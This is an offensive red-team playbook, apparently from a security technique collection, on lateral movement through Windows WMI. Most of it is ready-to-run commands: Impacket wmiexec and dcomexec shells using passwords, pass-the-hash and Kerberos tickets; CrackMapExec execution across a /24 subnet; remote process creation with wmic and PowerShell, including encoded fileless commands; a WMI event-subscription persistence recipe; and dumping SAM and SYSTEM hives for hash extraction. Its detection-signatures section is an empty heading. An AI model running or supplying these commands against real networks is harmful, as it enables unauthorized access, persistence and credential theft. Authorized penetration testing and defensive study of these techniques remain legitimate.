Performing Lateral Movement with WMIExec

Overview

WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.

Objectives

• Execute remote commands on Windows targets using WMI-based techniques
• Establish semi-interactive shells via Impacket wmiexec.py
• Perform lateral movement with Pass-the-Hash using WMI
• Use CrackMapExec for multi-target WMI command execution
• Execute native PowerShell WMI commands for fileless lateral movement
• Chain WMI with credential harvesting for network-wide access

MITRE ATT&CK Mapping

• T1047 - Windows Management Instrumentation
• T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
• T1550.002 - Use Alternate Authentication Material: Pass the Hash
• T1059.001 - Command and Scripting Interpreter: PowerShell
• T1570 - Lateral Tool Transfer

Implementation Steps

Phase 1: WMIExec with Impacket

1. Execute a semi-interactive shell with credentials:
   bashCopy

   # With cleartext password
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50
   
   # With NT hash (Pass-the-Hash)
   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50
   
   # With Kerberos ticket
   export KRB5CCNAME=admin.ccache
   wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local
   
   # Execute specific command (non-interactive)
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
   

2. Execute commands without output file (stealthier using DCOM):
   bashCopy

   # Using dcomexec.py as alternative (MMC20.Application DCOM object)
   dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
   
   # Using ShellWindows DCOM object
   dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
   

Phase 2: CrackMapExec Multi-Target Execution

1. Execute commands across multiple targets:
   bashCopy

   # Execute single command on subnet
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
   
   # Execute with hash
   crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
   
   # Execute PowerShell command
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
   
   # Check local admin access via WMI
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
   

Phase 3: Native WMI Commands (Windows)

1. Execute remote commands using built-in Windows WMI tools:
   powershellCopy

   # Using wmic.exe (deprecated but still available)
   wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
   
   # Using PowerShell Invoke-WmiMethod
   $cred = Get-Credential
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
   
   # Using CIM sessions (modern replacement for WMI)
   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
     -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
   

2. Fileless PowerShell execution via WMI:
   powershellCopy

   # Execute encoded PowerShell command remotely
   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
   

Phase 4: WMI-Based Persistence

1. Create WMI event subscriptions for persistence:
   powershellCopy

   # Create WMI event subscription (command runs on every logon)
   $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
     -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                  QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
   
   $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
     -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
   
   Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
     -Arguments @{Filter=$filter; Consumer=$consumer}
   

Phase 5: Chaining with Credential Harvesting

1. Use WMI for remote credential extraction:
   bashCopy

   # Dump SAM hashes via WMI + reg save
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
   
   # Download saved hives
   smbclient.py domain.local/admin:'Password123'@10.10.10.50
   > get C:\temp\sam
   > get C:\temp\system
   
   # Extract hashes from saved hives
   secretsdump.py -sam sam -system system LOCAL
   

Tools and Resources

WMI Execution Methods Comparison

Detection Signatures

Validation Criteria

• WMIExec shell established on remote target
• Pass-the-Hash execution validated via WMI
• Multi-target command execution via CrackMapExec WMI
• Native PowerShell WMI commands executed remotely
• Credential harvesting performed via WMI execution chain
• No service creation artifacts on target systems
• Evidence documented with command outputs and screenshots